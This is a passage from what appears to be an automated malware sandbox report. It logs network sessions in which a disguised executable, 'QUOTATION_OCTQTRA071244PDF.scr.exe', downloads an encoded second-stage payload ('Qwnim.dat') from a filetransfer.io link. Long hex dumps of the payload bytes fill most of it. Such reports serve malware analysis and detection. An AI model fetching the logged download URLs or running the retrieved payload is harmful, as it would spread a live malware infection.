2024-10-04 09:25:43 UTC	1369	IN	Data Raw: 05 21 38 26 de fa 78 94 47 1b a8 1f 3e f8 7b c8 37 b6 c0 75 67 53 44 e9 b2 47 1f 92 7e dc a9 9a 03 c5 c2 8b fd 6c 58 95 6b c7 fe a7 f5 52 00 2a 86 0f 21 83 bf 58 63 b9 f2 0b 50 ee 0a 05 e6 ca 9b 87 5a aa f7 90 9a 19 85 56 a2 fd 42 44 4d 78 6e e8 43 ef 30 d1 60 fb 0e 7a b6 30 25 f3 fa 13 fb 85 2a 72 d5 df ab 1f ae 8c 8f 8b 1e 19 16 ed 5b bf 79 7a 79 42 c4 5b 70 1a be e6 93 79 1c 9b 46 54 89 66 5c 11 bd 7f ac 07 5c 37 3e 81 3a 62 36 ac f5 81 06 6c 91 b6 e9 55 01 cc 33 42 ab 65 66 49 b8 cc d9 3f c8 b8 08 4d eb 33 68 7a 42 ff 72 61 4e 3f aa 09 32 b5 60 d4 7a ab 1b d0 80 5e c6 c9 57 40 8d cf 91 cd eb 79 26 8e e8 b6 22 90 0b 62 4a 2e 14 b3 68 e5 16 51 a9 97 b5 30 68 a0 df 11 c1 b5 9e 4a b2 1d b5 ad 7a 4e 04 64 f4 c7 84 ec fb b4 a7 94 1f d6 78 a7 c6 cb cb 4b d3 Data Ascii: !8&xG>{7ugSDG~lXkR!XcPZVBDMxnC0`z0%r[yzyB[pyFTf\\7>:b6lU3BefI?M3hzBraN?2`z^W@y&"bJ.hQ0hJzNdxK
2024-10-04 09:25:43 UTC	1369	IN	Data Raw: dd 11 26 c4 ae b4 07 4a 11 c2 3d d3 cb 43 b8 85 71 2a 7f 02 48 e5 f2 3c 1d 0e 33 1a 0f 0d c8 c5 ec 42 6f 2b f7 0b c2 5b 14 d2 9d 6c 8f 67 72 ea 25 46 30 a7 82 8f 4d 08 e0 30 cc 25 48 66 15 c2 23 bd 05 5f 12 26 90 de e2 4f 3f cc 74 bc 05 d7 c1 20 1f 7a d7 a7 c6 ea 27 14 34 45 66 7d 63 8b 32 30 95 f2 0c 2b 5d a7 da 33 b3 86 c1 83 0b d6 65 0d e5 43 c6 4d b8 15 1c ef 47 07 ca b9 e7 75 fa b2 4c d3 8f 79 f4 d7 cb 87 25 02 62 2a f3 dc d4 2e a4 5a bd fe 96 b9 16 a6 4a c2 af f5 ff ff ef c2 36 75 e0 ff b3 c4 b3 66 ec eb e4 44 55 2d 1a c4 11 0b 5d 71 0e 7b 8c ef 13 d4 ec fc 7a 35 96 70 af e9 57 de ae 36 d1 67 f8 ff 6b 25 f4 b6 b3 4a ac 6f c3 c4 69 40 71 71 cb f7 33 2c dd dc d3 04 7b d2 73 ee 7a a1 e9 79 44 8d ee 27 59 11 fe 46 85 4c 66 bc 05 25 80 3c e7 d5 d9 e7 5f Data Ascii: &J=CqH<3Bo+[lgr%F0M0%Hf#_&O?t z'4Ef}c20+]3eCMGuLy%b.ZJ6ufDU-]q{z5pW6gk%Joi@qq3,{szyD'YFLf%<_
2024-10-04 09:25:43 UTC	1369	IN	Data Raw: dd 5c 21 51 15 05 3d 35 3d 5c a7 50 81 19 7e db 8f 9f 3d e6 fa 96 da 62 6f c6 17 19 93 db 8e 1a 26 76 91 81 ca 74 bb 8e 6d e0 80 90 c6 6b 66 de 8b d6 5a cb 1d aa c5 96 01 99 85 e1 0c 4e f5 f0 38 43 78 70 f4 76 7c 6a 68 1f ed 65 5a c0 cf ab 30 9d 15 50 4e b5 f1 74 bb 9b 08 96 61 6b 89 1d a0 05 34 e6 d6 d7 45 3a aa 13 a7 b0 51 57 4e 9a de 8c 51 c4 c7 3b 0c 42 9d 50 00 11 37 68 fd a9 81 d3 e9 52 2f 59 35 fe 97 43 14 6d cb 53 18 c3 aa cc 4b c3 d4 ef 4a 87 1e 6d 71 a8 de dd 7b 78 06 d5 6b 9b 34 9c 86 2d 3f 0e e9 80 4d 6b e7 4e 86 16 a9 e6 ee 1b f2 f7 de 0e aa c4 f6 51 1b 94 81 16 29 14 42 b9 4f 49 15 2b 6c bc 6f 2a e3 8f 82 0e a6 58 7e 56 d6 d0 16 af 1b 6f 45 fd 10 2f 5c 72 c2 c7 d0 6a 4e 1c d6 8d 3c d0 bf a2 42 85 62 96 53 55 b1 a9 af 98 12 50 90 a8 e0 a7 16 Data Ascii: \!Q=5=\P~=bo&vtmkfZN8Cxpv\|jheZ0PNtak4E:QWNQ;BP7hR/Y5CmSKJmq{xk4-?MkNQ)BOI+lo*X~VoE/\rjN<BbSUP
2024-10-04 09:25:43 UTC	1369	IN	Data Raw: dd ee 0b a8 96 cf 42 34 73 38 d3 b5 0f ea ba af 14 9e 3d 75 76 b6 c3 13 1d 18 a5 4d 50 25 0d 9f 2d 96 2e c7 88 74 43 bf 3a 3e cd fc 00 8a 82 e1 6f 97 da 50 04 36 6e 3e 3b cf 45 b2 7a 08 fc db 13 cd 80 18 9b 7b 1e 4f 38 28 3f 8f a0 90 e2 86 d9 c4 6e 97 e9 4b 4c cb 2d 7b 30 b4 f5 e9 78 33 cb 9c 10 d8 48 84 74 c8 9b 55 a3 7d 80 15 20 54 d8 33 7c 97 75 bd 53 28 c7 38 0e 51 17 11 7e ab 1b 7b 89 88 39 79 18 b8 e0 29 92 fd da 00 85 5c ae d5 8b a0 2d 49 9d 72 20 e6 b8 17 ab ad 24 8b 69 e0 2f d2 29 c3 db 88 ed 7d e8 39 76 8e 14 bc 51 c0 4b 8d 32 9c 7f 03 ee f9 ae 8f 74 c3 e7 94 74 9d 7c 6e 2b b2 97 a9 a2 af 9e 39 52 8a 07 6b 99 5a 8d 05 0a 73 9f 6f ec 4b d1 66 6e e1 4d 9f 55 57 1b 7f fb ac a7 0e d4 25 b2 da 59 6a 4d 26 a9 0a 7c 71 4e 8c 75 5b 28 4f da ae f7 9a 29 Data Ascii: B4s8=uvMP%-.tC:>oP6n>;Ez{O8(?nKL-{0x3HtU} T3\|uS(8Q~{9y)\-Ir $i/)}9vQK2tt\|n+9RkZsoKfnMUW%YjM&\|qNu[(O)
2024-10-04 09:25:43 UTC	1369	IN	Data Raw: 76 94 0d 35 dd 04 d8 f5 98 53 09 2d de 64 36 f6 77 ee 33 4b f6 75 bb 68 40 9d 33 c8 b3 b9 b8 57 ec 36 71 50 53 cd 85 93 4b 2a ea ca 5f c1 d5 99 a0 1f d8 37 1a 06 5a f4 04 26 08 c9 92 51 d1 33 84 cc ca 61 8d 6b 98 c1 9f a1 af 23 f0 6a 78 10 da a3 22 d8 72 66 ad 86 7b 67 e5 3a b2 6c 49 89 6a 34 f9 a6 10 19 8a 96 94 4c eb b9 99 83 b7 54 90 10 8c 13 dc 48 dc 69 a5 44 31 0a 06 82 06 16 20 0a 24 2d 6c 56 0d 00 7a a9 5f f3 37 a3 45 58 ee 12 c6 45 da 1f ee 35 a9 54 4b a5 f5 9d 3d 72 3a 27 05 f0 ff 90 d6 b5 2a 93 9b 7a 2d f2 0d 5e 88 d2 3a c3 73 d6 1b 78 ef 45 ff b1 66 4f 63 20 ee 7b a9 0f 58 1a 71 12 e0 e6 e6 48 06 ec 72 1a fd 93 dd 87 f9 95 ff 81 d8 54 d1 d6 cf 29 df 46 57 a4 ec c0 f5 4e 55 37 b7 7d cd f8 67 9b 74 d0 a9 02 3c 96 2b e8 56 09 13 ef e2 73 4a 09 0d Data Ascii: v5S-d6w3Kuh@3W6qPSK_7Z&Q3ak#jx"rf{g:lIj4LTHiD1 $-lVz_7EXE5TK=r:'z-^:sxEfOc {XqHrT)FWNU7}gt<+VsJ
2024-10-04 09:25:43 UTC	1369	IN	Data Raw: 42 eb bf a6 96 07 b8 eb c9 d1 15 ff 96 87 05 fc 6a c2 57 c7 65 32 4b 36 06 79 84 6e 7d 1a af 7f 98 dd a7 f9 c5 ec 36 0c 71 f1 3b d4 b5 7d a6 40 32 3d 5e a5 8c 73 eb 9b 69 1f 1f e4 0a 08 0d 52 51 ca 77 4c d2 d6 68 ce a5 b1 be e6 4f c5 5a 95 bc 6d 08 be 3c da ae 66 32 14 4b 51 52 8d 5c 64 c4 c5 07 ba b8 60 bc 6f f0 7c 74 f4 03 57 78 d3 59 ec fd 88 d6 de 9b cc 60 5b 27 6f 13 f8 e2 fd ba 01 d3 a1 12 8e 04 a4 39 73 10 7a 1c 8f 39 f8 18 e7 96 f9 b6 f7 35 6d eb 99 4e d0 2b 67 2a 1d a2 67 65 9f d6 ee bc 07 d9 b8 e3 97 ba 08 22 09 3c 94 2a 1d a0 a8 61 28 24 0a 57 55 16 69 77 bd ae e3 cc 49 1e c3 02 44 a5 88 1b 0b 96 10 70 e7 61 5d 20 8b b1 c2 74 81 ea 2f 90 36 69 e1 fa 5d bb 13 2f 3e ff fc 08 a7 5d 18 ff 1f 4b 26 89 4d 2b ca 0e 03 dd 00 77 ca 30 95 aa 67 a2 80 cb Data Ascii: BjWe2K6yn}6q;}@2=^siRQwLhOZm<f2KQR\d`o\|tWxY`['o9sz95mN+gge"<a($WUiwIDpa] t/6i]/>]K&M+w0g
2024-10-04 09:25:43 UTC	1369	IN	Data Raw: 20 ac c8 ee 23 94 98 a1 e4 68 7c 27 7c 08 25 79 f5 19 04 79 8b 69 1c d5 f0 30 e7 5d b3 47 e4 b6 c3 d3 5c 44 92 15 d8 5c 95 aa ba 56 b4 c6 c2 1d b3 30 14 77 c8 6d d5 82 1c c8 a6 9c 51 6d 14 a9 26 02 1a 75 e3 42 a5 9a 30 fd 2a ec f7 52 27 24 6f d2 d7 96 ff ff 9d 20 9b 11 8e d3 ee 66 03 1f 1b b0 dc 96 11 c3 28 ab a7 f8 d8 42 f8 e4 33 15 ac e6 d0 28 c6 77 0c fb ca 4a 02 73 74 b7 ef 8c 1b b8 bc 44 4b 43 91 42 e9 95 c3 1a fd 3b 57 67 88 c3 ef 8c c1 6b 48 3a 33 01 d8 4f 7b 9b 4c 58 8a 41 9b 32 af 2c 5d 4d 35 e4 75 d0 bc d9 8b ce 59 17 15 dd 06 78 85 f5 62 43 a8 ce a8 df 2d 67 f5 0d a9 15 5d cd 67 93 70 19 5f 37 fd 01 da b7 b7 04 d1 79 1d 09 54 ed 91 6d 46 52 3a 51 e4 b6 ca 6e dc 7a f7 eb 7d 9b 16 0e c9 81 69 2d 56 d4 ce 95 c9 7f 1c 30 9c 91 ef fe 58 97 d4 cb 51 Data Ascii: #h\|'\|%yyi0]G\D\V0wmQm&uB0*R'$o f(B3(wJstDKCB;WgkH:3O{LXA2,]M5uYxbC-g]gp_7yTmFR:Qnz}i-V0XQ
2024-10-04 09:25:43 UTC	1369	IN	Data Raw: 4e 04 63 33 25 df 6b 8b 89 0b 29 19 82 17 b7 ab cf ce 2a 7a 61 ac 22 59 e8 9c a2 2c b4 93 52 34 b9 12 6f 25 26 f6 eb e6 4f e9 9e 22 b8 99 55 88 da 8e 9f a8 e0 3a 1f a0 51 04 af 0a 34 de ec c6 57 32 c7 ae ac 47 41 bd 4e 50 80 ad 96 b0 9a 33 0b 03 19 59 b7 3b e6 d4 8b e4 dc 30 07 da 5c 3e 84 2d 69 ba a2 be 43 3b d4 42 39 b3 b7 f1 19 0c 0c 10 da 05 d3 ea 83 e4 88 1c ad fb 22 03 45 6a c8 56 2a ee aa 46 d2 97 46 01 2f c9 ed f8 f8 9b 9a 0e 1f 67 83 f0 9c 3f 86 d8 1d e0 90 8e dd fb d7 91 87 41 36 f8 cc 53 c5 fb 7b 8f dc eb da b1 86 18 1b 28 94 8c a5 09 63 a9 fa ec 31 c3 65 e0 94 72 b6 51 12 f7 0c bc 13 d7 b2 0b a3 68 9e 12 48 1a dc 7d 70 f1 f8 90 8f 42 8e b8 38 21 6b d8 d0 69 ef 8c 16 45 e4 21 87 34 64 56 b8 62 2f 61 ef 4f 65 44 d3 e6 bb db 62 a7 0a 6a bd 72 56 Data Ascii: Nc3%k)za"Y,R4o%&O"U:Q4W2GANP3Y;0\>-iC;B9"EjVFF/g?A6S{(c1erQhH}pB8!kiE!4dVb/aOeDbjrV

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
56	192.168.2.4	50239	188.114.96.3	443	7484	C:\Users\user\Desktop\QUOTATION_OCTQTRA071244PDF.scr.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-04 09:25:46 UTC	95	OUT	GET /data-package/eZFzMENr/download HTTP/1.1 Host: filetransfer.io Connection: Keep-Alive
2024-10-04 09:25:46 UTC	1068	IN	HTTP/1.1 302 Found Date: Fri, 04 Oct 2024 09:25:46 GMT Content-Type: text/html; charset=utf-8 Transfer-Encoding: chunked Connection: close X-Powered-By: Nette Framework 3 X-Frame-Options: SAMEORIGIN Set-Cookie: nette-samesite=1; path=/; SameSite=Strict; HttpOnly Set-Cookie: PHPSESSID=cbiq8mo6gg8flhme0ej2e4jhk2; expires=Fri, 18-Oct-2024 09:25:46 GMT; Max-Age=1209600; path=/; SameSite=Lax; secure; HttpOnly Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache Vary: X-Requested-With Location: https://s23.filetransfer.io/storage/download/a6rLoYyAawaq CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=8qy1dZz9QXVr3xcDM%2FEmk2JhpJOW3NRKZv6EoJoG6RbToYbC%2Fn43NSlC%2Fk7np4M%2BOKlpi9tjkiqMsFIyOmjjiEeDI1iWdMVK4f8afGk8Ur9XIi4PSk1bz5WmRgQcxf87fq4%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Speculation-Rules: "/cdn-cgi/speculation" Server: cloudflare CF-RAY: 8cd42063a8fe4241-EWR
2024-10-04 09:25:46 UTC	134	IN	Data Raw: 38 30 0d 0a 3c 68 31 3e 52 65 64 69 72 65 63 74 3c 2f 68 31 3e 0a 0a 3c 70 3e 3c 61 20 68 72 65 66 3d 22 68 74 74 70 73 3a 2f 2f 73 32 33 2e 66 69 6c 65 74 72 61 6e 73 66 65 72 2e 69 6f 2f 73 74 6f 72 61 67 65 2f 64 6f 77 6e 6c 6f 61 64 2f 61 36 72 4c 6f 59 79 41 61 77 61 71 22 3e 50 6c 65 61 73 65 20 63 6c 69 63 6b 20 68 65 72 65 20 74 6f 20 63 6f 6e 74 69 6e 75 65 3c 2f 61 3e 2e 3c 2f 70 3e 0d 0a Data Ascii: 80<h1>Redirect</h1><p><a href="https://s23.filetransfer.io/storage/download/a6rLoYyAawaq">Please click here to continue</a>.</p>
2024-10-04 09:25:46 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
57	192.168.2.4	50240	188.114.97.3	443	7484	C:\Users\user\Desktop\QUOTATION_OCTQTRA071244PDF.scr.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-04 09:25:47 UTC	98	OUT	GET /storage/download/a6rLoYyAawaq HTTP/1.1 Host: s23.filetransfer.io Connection: Keep-Alive
2024-10-04 09:25:48 UTC	1020	IN	HTTP/1.1 200 OK Date: Fri, 04 Oct 2024 09:25:47 GMT Content-Type: application/octet-stream Content-Length: 930824 Connection: close Last-Modified: Thu, 03 Oct 2024 06:02:30 GMT Set-Cookie: nette-samesite=1; path=/; SameSite=Strict; HttpOnly Set-Cookie: PHPSESSID=95895645ce5c43f56d83ad25eb87a15a; expires=Fri, 18-Oct-2024 09:25:47 GMT; Max-Age=1209600; path=/; SameSite=Lax; secure; HttpOnly Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Content-Disposition: attachment; filename="Qwnim.dat" Accept-Ranges: bytes Accept-Ranges: bytes ETag: "66fe3376-e3408" cf-cache-status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=J6Gt8l78LuCZ8ozXlvS2PDmY%2BOGR4%2BduVT5rbgiyYRwWwiwdFgO9e2q3F5yc1czCKHzJnkLzWcZMBgTOpH6ufoNzigcZ3CugN4kxHJk4pFYPIa59qAG9%2FNymt8jFIEW9ufrHyTaQ"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8cd4206a1adc1a24-EWR
2024-10-04 09:25:48 UTC	349	IN	Data Raw: 28 3e 86 09 e8 43 a0 a4 78 be 41 d8 01 2a 36 d0 c2 08 ec 6f f5 1f a0 cd d4 e4 ae 5b fb b3 85 bf 70 0b 96 a8 3c 9a 0e cd b1 4c 33 79 61 23 ca 18 ee 7b 2c 1d df 9a 4f d9 8e 92 e2 66 2e 92 b1 cf 1b 88 6f 0f c3 8d bb ee e2 e9 76 0a 9c c4 53 f3 72 a2 3d 30 f6 ac 43 50 6c 9f a1 31 69 79 9a 0f 5d e5 d6 4a 82 5e 90 3a ab 6a 0c 66 5f 65 f6 8f 7a 50 55 b2 60 fa fc 72 aa c2 ae 3e f9 5f 4a 89 b6 80 51 3d 81 81 41 61 d9 5e 3b 04 d0 b3 f2 42 6b c1 12 fa 4f 94 8b 11 85 4b b8 b3 37 1a f5 aa 92 c4 8e 0e 71 78 04 33 65 54 f1 be 55 65 ca d8 0d 39 a3 df 86 f1 11 ad 98 99 e0 17 16 7c 6e c2 b7 7a 25 cb e0 d3 75 90 ed f3 86 21 7e 03 51 b5 cb c5 7c 74 3a 2d d6 ad f8 7b b2 d5 ba 84 5a ff 42 c0 77 e7 68 6d 6f dc c6 59 87 44 07 cb 34 d4 a2 48 a5 d9 f3 53 66 4f 95 61 77 2a ba b0 37 Data Ascii: (>CxA6o[p<L3ya#{,Of.ovSr=0CPl1iy]J^:jf_ezPU`r>_JQ=Aa^;BkOK7qx3eTUe9\|nz%u!~Q\|t:-{ZBwhmoYD4HSfOaw7
2024-10-04 09:25:48 UTC	1369	IN	Data Raw: 67 dd 24 29 55 60 2b e2 b5 8f ef 43 4a 45 ea 5b 7c 5b 96 a6 d9 e9 81 eb ce 96 5c 2b c6 e0 97 3b d7 e4 9b f3 f9 f1 49 2e 47 dd 61 f4 1a e4 c3 87 50 e4 a5 94 a3 61 be 91 69 36 f3 5c d9 b3 e0 17 61 be ce 62 88 a6 af f5 fd 74 e3 8e 68 70 ab 23 0a 45 02 5b 08 e8 0d 4b 48 83 1e ce 83 6a a7 60 4e 10 15 34 25 52 c1 23 81 82 86 d9 41 66 09 e8 97 de 38 bc 92 f0 64 49 8e 27 1a 73 7e 41 42 13 b9 2c 85 db 73 f7 18 f0 be a1 b3 ce dc d2 a9 8a b6 c2 d7 a9 b2 2b 89 1d 2d 73 c5 ec 51 7d e1 1d 4b 28 58 63 19 09 9f d4 87 07 39 06 0e ad 9e 80 7f 6c 5c 3a 25 e5 16 cf b4 46 1c f5 52 36 44 03 0b 91 a6 c3 e3 37 f9 73 73 d4 cc be d5 bd c8 25 28 55 b1 98 2c 6d b8 9f 06 35 c4 0c fb 3f bf 4d 28 3c 17 f5 5d 26 43 34 09 c3 38 87 63 53 38 43 b9 d9 45 d6 70 07 11 dc 9b 6a da 17 5e aa 6e Data Ascii: g$)U`+CJE[\|[\+;I.GaPai6\abthp#E[KHj`N4%R#Af8dI's~AB,s+-sQ}K(Xc9l\:%FR6D7ss%(U,m5?M(<]&C48cS8CEpj^n
2024-10-04 09:25:48 UTC	1369	IN	Data Raw: 38 26 de fa 78 94 47 1b a8 1f 3e f8 7b c8 37 b6 c0 75 67 53 44 e9 b2 47 1f 92 7e dc a9 9a 03 c5 c2 8b fd 6c 58 95 6b c7 fe a7 f5 52 00 2a 86 0f 21 83 bf 58 63 b9 f2 0b 50 ee 0a 05 e6 ca 9b 87 5a aa f7 90 9a 19 85 56 a2 fd 42 44 4d 78 6e e8 43 ef 30 d1 60 fb 0e 7a b6 30 25 f3 fa 13 fb 85 2a 72 d5 df ab 1f ae 8c 8f 8b 1e 19 16 ed 5b bf 79 7a 79 42 c4 5b 70 1a be e6 93 79 1c 9b 46 54 89 66 5c 11 bd 7f ac 07 5c 37 3e 81 3a 62 36 ac f5 81 06 6c 91 b6 e9 55 01 cc 33 42 ab 65 66 49 b8 cc d9 3f c8 b8 08 4d eb 33 68 7a 42 ff 72 61 4e 3f aa 09 32 b5 60 d4 7a ab 1b d0 80 5e c6 c9 57 40 8d cf 91 cd eb 79 26 8e e8 b6 22 90 0b 62 4a 2e 14 b3 68 e5 16 51 a9 97 b5 30 68 a0 df 11 c1 b5 9e 4a b2 1d b5 ad 7a 4e 04 64 f4 c7 84 ec fb b4 a7 94 1f d6 78 a7 c6 cb cb 4b d3 60 15 Data Ascii: 8&xG>{7ugSDG~lXkR!XcPZVBDMxnC0`z0%r[yzyB[pyFTf\\7>:b6lU3BefI?M3hzBraN?2`z^W@y&"bJ.hQ0hJzNdxK`
2024-10-04 09:25:48 UTC	1369	IN	Data Raw: 26 c4 ae b4 07 4a 11 c2 3d d3 cb 43 b8 85 71 2a 7f 02 48 e5 f2 3c 1d 0e 33 1a 0f 0d c8 c5 ec 42 6f 2b f7 0b c2 5b 14 d2 9d 6c 8f 67 72 ea 25 46 30 a7 82 8f 4d 08 e0 30 cc 25 48 66 15 c2 23 bd 05 5f 12 26 90 de e2 4f 3f cc 74 bc 05 d7 c1 20 1f 7a d7 a7 c6 ea 27 14 34 45 66 7d 63 8b 32 30 95 f2 0c 2b 5d a7 da 33 b3 86 c1 83 0b d6 65 0d e5 43 c6 4d b8 15 1c ef 47 07 ca b9 e7 75 fa b2 4c d3 8f 79 f4 d7 cb 87 25 02 62 2a f3 dc d4 2e a4 5a bd fe 96 b9 16 a6 4a c2 af f5 ff ff ef c2 36 75 e0 ff b3 c4 b3 66 ec eb e4 44 55 2d 1a c4 11 0b 5d 71 0e 7b 8c ef 13 d4 ec fc 7a 35 96 70 af e9 57 de ae 36 d1 67 f8 ff 6b 25 f4 b6 b3 4a ac 6f c3 c4 69 40 71 71 cb f7 33 2c dd dc d3 04 7b d2 73 ee 7a a1 e9 79 44 8d ee 27 59 11 fe 46 85 4c 66 bc 05 25 80 3c e7 d5 d9 e7 5f d6 e2 Data Ascii: &J=CqH<3Bo+[lgr%F0M0%Hf#_&O?t z'4Ef}c20+]3eCMGuLy%b.ZJ6ufDU-]q{z5pW6gk%Joi@qq3,{szyD'YFLf%<_
2024-10-04 09:25:48 UTC	1369	IN	Data Raw: 21 51 15 05 3d 35 3d 5c a7 50 81 19 7e db 8f 9f 3d e6 fa 96 da 62 6f c6 17 19 93 db 8e 1a 26 76 91 81 ca 74 bb 8e 6d e0 80 90 c6 6b 66 de 8b d6 5a cb 1d aa c5 96 01 99 85 e1 0c 4e f5 f0 38 43 78 70 f4 76 7c 6a 68 1f ed 65 5a c0 cf ab 30 9d 15 50 4e b5 f1 74 bb 9b 08 96 61 6b 89 1d a0 05 34 e6 d6 d7 45 3a aa 13 a7 b0 51 57 4e 9a de 8c 51 c4 c7 3b 0c 42 9d 50 00 11 37 68 fd a9 81 d3 e9 52 2f 59 35 fe 97 43 14 6d cb 53 18 c3 aa cc 4b c3 d4 ef 4a 87 1e 6d 71 a8 de dd 7b 78 06 d5 6b 9b 34 9c 86 2d 3f 0e e9 80 4d 6b e7 4e 86 16 a9 e6 ee 1b f2 f7 de 0e aa c4 f6 51 1b 94 81 16 29 14 42 b9 4f 49 15 2b 6c bc 6f 2a e3 8f 82 0e a6 58 7e 56 d6 d0 16 af 1b 6f 45 fd 10 2f 5c 72 c2 c7 d0 6a 4e 1c d6 8d 3c d0 bf a2 42 85 62 96 53 55 b1 a9 af 98 12 50 90 a8 e0 a7 16 03 0d Data Ascii: !Q=5=\P~=bo&vtmkfZN8Cxpv\|jheZ0PNtak4E:QWNQ;BP7hR/Y5CmSKJmq{xk4-?MkNQ)BOI+lo*X~VoE/\rjN<BbSUP
2024-10-04 09:25:48 UTC	1369	IN	Data Raw: 0b a8 96 cf 42 34 73 38 d3 b5 0f ea ba af 14 9e 3d 75 76 b6 c3 13 1d 18 a5 4d 50 25 0d 9f 2d 96 2e c7 88 74 43 bf 3a 3e cd fc 00 8a 82 e1 6f 97 da 50 04 36 6e 3e 3b cf 45 b2 7a 08 fc db 13 cd 80 18 9b 7b 1e 4f 38 28 3f 8f a0 90 e2 86 d9 c4 6e 97 e9 4b 4c cb 2d 7b 30 b4 f5 e9 78 33 cb 9c 10 d8 48 84 74 c8 9b 55 a3 7d 80 15 20 54 d8 33 7c 97 75 bd 53 28 c7 38 0e 51 17 11 7e ab 1b 7b 89 88 39 79 18 b8 e0 29 92 fd da 00 85 5c ae d5 8b a0 2d 49 9d 72 20 e6 b8 17 ab ad 24 8b 69 e0 2f d2 29 c3 db 88 ed 7d e8 39 76 8e 14 bc 51 c0 4b 8d 32 9c 7f 03 ee f9 ae 8f 74 c3 e7 94 74 9d 7c 6e 2b b2 97 a9 a2 af 9e 39 52 8a 07 6b 99 5a 8d 05 0a 73 9f 6f ec 4b d1 66 6e e1 4d 9f 55 57 1b 7f fb ac a7 0e d4 25 b2 da 59 6a 4d 26 a9 0a 7c 71 4e 8c 75 5b 28 4f da ae f7 9a 29 50 e5 Data Ascii: B4s8=uvMP%-.tC:>oP6n>;Ez{O8(?nKL-{0x3HtU} T3\|uS(8Q~{9y)\-Ir $i/)}9vQK2tt\|n+9RkZsoKfnMUW%YjM&\|qNu[(O)P
2024-10-04 09:25:48 UTC	1369	IN	Data Raw: 0d 35 dd 04 d8 f5 98 53 09 2d de 64 36 f6 77 ee 33 4b f6 75 bb 68 40 9d 33 c8 b3 b9 b8 57 ec 36 71 50 53 cd 85 93 4b 2a ea ca 5f c1 d5 99 a0 1f d8 37 1a 06 5a f4 04 26 08 c9 92 51 d1 33 84 cc ca 61 8d 6b 98 c1 9f a1 af 23 f0 6a 78 10 da a3 22 d8 72 66 ad 86 7b 67 e5 3a b2 6c 49 89 6a 34 f9 a6 10 19 8a 96 94 4c eb b9 99 83 b7 54 90 10 8c 13 dc 48 dc 69 a5 44 31 0a 06 82 06 16 20 0a 24 2d 6c 56 0d 00 7a a9 5f f3 37 a3 45 58 ee 12 c6 45 da 1f ee 35 a9 54 4b a5 f5 9d 3d 72 3a 27 05 f0 ff 90 d6 b5 2a 93 9b 7a 2d f2 0d 5e 88 d2 3a c3 73 d6 1b 78 ef 45 ff b1 66 4f 63 20 ee 7b a9 0f 58 1a 71 12 e0 e6 e6 48 06 ec 72 1a fd 93 dd 87 f9 95 ff 81 d8 54 d1 d6 cf 29 df 46 57 a4 ec c0 f5 4e 55 37 b7 7d cd f8 67 9b 74 d0 a9 02 3c 96 2b e8 56 09 13 ef e2 73 4a 09 0d a1 a9 Data Ascii: 5S-d6w3Kuh@3W6qPSK_7Z&Q3ak#jx"rf{g:lIj4LTHiD1 $-lVz_7EXE5TK=r:'z-^:sxEfOc {XqHrT)FWNU7}gt<+VsJ
2024-10-04 09:25:48 UTC	1369	IN	Data Raw: bf a6 96 07 b8 eb c9 d1 15 ff 96 87 05 fc 6a c2 57 c7 65 32 4b 36 06 79 84 6e 7d 1a af 7f 98 dd a7 f9 c5 ec 36 0c 71 f1 3b d4 b5 7d a6 40 32 3d 5e a5 8c 73 eb 9b 69 1f 1f e4 0a 08 0d 52 51 ca 77 4c d2 d6 68 ce a5 b1 be e6 4f c5 5a 95 bc 6d 08 be 3c da ae 66 32 14 4b 51 52 8d 5c 64 c4 c5 07 ba b8 60 bc 6f f0 7c 74 f4 03 57 78 d3 59 ec fd 88 d6 de 9b cc 60 5b 27 6f 13 f8 e2 fd ba 01 d3 a1 12 8e 04 a4 39 73 10 7a 1c 8f 39 f8 18 e7 96 f9 b6 f7 35 6d eb 99 4e d0 2b 67 2a 1d a2 67 65 9f d6 ee bc 07 d9 b8 e3 97 ba 08 22 09 3c 94 2a 1d a0 a8 61 28 24 0a 57 55 16 69 77 bd ae e3 cc 49 1e c3 02 44 a5 88 1b 0b 96 10 70 e7 61 5d 20 8b b1 c2 74 81 ea 2f 90 36 69 e1 fa 5d bb 13 2f 3e ff fc 08 a7 5d 18 ff 1f 4b 26 89 4d 2b ca 0e 03 dd 00 77 ca 30 95 aa 67 a2 80 cb 30 3d Data Ascii: jWe2K6yn}6q;}@2=^siRQwLhOZm<f2KQR\d`o\|tWxY`['o9sz95mN+gge"<a($WUiwIDpa] t/6i]/>]K&M+w0g0=
2024-10-04 09:25:48 UTC	1369	IN	Data Raw: c8 ee 23 94 98 a1 e4 68 7c 27 7c 08 25 79 f5 19 04 79 8b 69 1c d5 f0 30 e7 5d b3 47 e4 b6 c3 d3 5c 44 92 15 d8 5c 95 aa ba 56 b4 c6 c2 1d b3 30 14 77 c8 6d d5 82 1c c8 a6 9c 51 6d 14 a9 26 02 1a 75 e3 42 a5 9a 30 fd 2a ec f7 52 27 24 6f d2 d7 96 ff ff 9d 20 9b 11 8e d3 ee 66 03 1f 1b b0 dc 96 11 c3 28 ab a7 f8 d8 42 f8 e4 33 15 ac e6 d0 28 c6 77 0c fb ca 4a 02 73 74 b7 ef 8c 1b b8 bc 44 4b 43 91 42 e9 95 c3 1a fd 3b 57 67 88 c3 ef 8c c1 6b 48 3a 33 01 d8 4f 7b 9b 4c 58 8a 41 9b 32 af 2c 5d 4d 35 e4 75 d0 bc d9 8b ce 59 17 15 dd 06 78 85 f5 62 43 a8 ce a8 df 2d 67 f5 0d a9 15 5d cd 67 93 70 19 5f 37 fd 01 da b7 b7 04 d1 79 1d 09 54 ed 91 6d 46 52 3a 51 e4 b6 ca 6e dc 7a f7 eb 7d 9b 16 0e c9 81 69 2d 56 d4 ce 95 c9 7f 1c 30 9c 91 ef fe 58 97 d4 cb 51 16 50 Data Ascii: #h\|'\|%yyi0]G\D\V0wmQm&uB0*R'$o 